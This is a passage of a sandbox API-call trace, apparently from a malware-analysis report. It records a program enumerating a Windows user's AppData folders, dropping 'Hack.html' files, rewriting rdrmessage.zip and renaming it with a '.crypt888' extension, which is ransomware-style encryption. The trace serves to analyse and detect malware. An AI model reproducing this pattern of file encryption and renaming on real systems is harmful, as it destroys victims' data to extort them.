HALPmcxz\\AppData\\Local\\Temporary Internet Files\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\", lpFilePart=0x0) returned 0x45 [0077.885] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0xffffffff [0077.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed20) returned 1 [0077.887] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\Hack.html", lpFilePart=0x0) returned 0x4e [0077.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0077.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temporary internet files\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.888] GetFileType (hFile=0x174) returned 0x1 [0077.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0077.888] GetFileType (hFile=0x174) returned 0x1 [0077.888] WriteFile (in: hFile=0x174, lpBuffer=0x274b7d4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x274b7d4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0077.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.889] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0077.889] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0077.889] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0077.890] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.891] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.891] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.891] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0077.891] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0077.891] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0077.892] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.892] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.892] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\Hack.html", lpFilePart=0x0) returned 0x42 [0077.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0077.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\virtualstore\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.893] GetFileType (hFile=0x174) returned 0x1 [0077.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0077.893] GetFileType (hFile=0x174) returned 0x1 [0077.893] WriteFile (in: hFile=0x174, lpBuffer=0x274f590*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x274f590*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0077.894] CloseHandle (hObject=0x174) returned 1 [0077.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Hack.html", lpFilePart=0x0) returned 0x35 [0077.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0077.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.896] GetFileType (hFile=0x174) returned 0x1 [0077.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0077.896] GetFileType (hFile=0x174) returned 0x1 [0077.896] WriteFile (in: hFile=0x174, lpBuffer=0x2751d68*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2751d68*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0077.897] CloseHandle (hObject=0x174) returned 1 [0077.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0077.898] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow", lpFilePart=0x0) returned 0x2e [0077.898] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\", lpFilePart=0x0) returned 0x2f [0077.898] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a228 [0077.898] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0077.898] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0077.898] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0077.898] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0077.899] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0077.899] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0077.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0077.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0077.899] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow", lpFilePart=0x0) returned 0x2e [0077.899] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\", lpFilePart=0x0) returned 0x2f [0077.899] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a228 [0077.899] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0077.900] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0077.900] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0077.900] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0077.900] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0077.900] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0077.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0077.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe", lpFilePart=0x0) returned 0x34 [0077.901] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\", lpFilePart=0x0) returned 0x35 [0077.901] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0077.902] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.902] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.902] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.902] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.902] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.903] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe", lpFilePart=0x0) returned 0x34 [0077.903] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\", lpFilePart=0x0) returned 0x35 [0077.903] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0077.903] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.903] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.903] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.903] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.904] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x3c [0077.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x3d [0077.904] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a228 [0077.904] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.905] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.905] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.905] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x3c [0077.905] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x3d [0077.905] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a228 [0077.906] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.906] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.906] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.906] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x41 [0077.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x42 [0077.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a228 [0077.917] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.917] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.917] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.918] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.918] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.918] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x41 [0077.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x42 [0077.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a228 [0077.920] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.920] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.920] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.921] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.921] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.921] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0077.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", lpFilePart=0x0) returned 0x50 [0077.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0077.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.924] GetFileType (hFile=0x174) returned 0x1 [0077.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0077.924] GetFileType (hFile=0x174) returned 0x1 [0077.924] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0xa5ff [0077.924] ReadFile (in: hFile=0x174, lpBuffer=0x275a0dc, nNumberOfBytesToRead=0xa5ff, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x275a0dc*, lpNumberOfBytesRead=0x39ec88*=0xa5ff, lpOverlapped=0x0) returned 1 [0077.926] CloseHandle (hObject=0x174) returned 1 [0077.977] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", lpFilePart=0x0) returned 0x50 [0077.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0077.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.978] GetFileType (hFile=0x174) returned 0x1 [0077.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0077.978] GetFileType (hFile=0x174) returned 0x1 [0077.978] WriteFile (in: hFile=0x174, lpBuffer=0x27daca4*, nNumberOfBytesToWrite=0xa600, lpNumberOfBytesWritten=0x39ec78, lpOverlapped=0x0 | out: lpBuffer=0x27daca4*, lpNumberOfBytesWritten=0x39ec78*=0xa600, lpOverlapped=0x0) returned 1 [0077.980] CloseHandle (hObject=0x174) returned 1 [0077.982] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", lpFilePart=0x0) returned 0x50 [0077.982] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.crypt888", lpFilePart=0x0) returned 0x59 [0077.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0077.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xbfad0300, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xa600)) returned 1 [0077.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0077.982] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.crypt888")) returned 1 [0077.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search", lpFilePart=0x0) returned 0x48 [0077.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 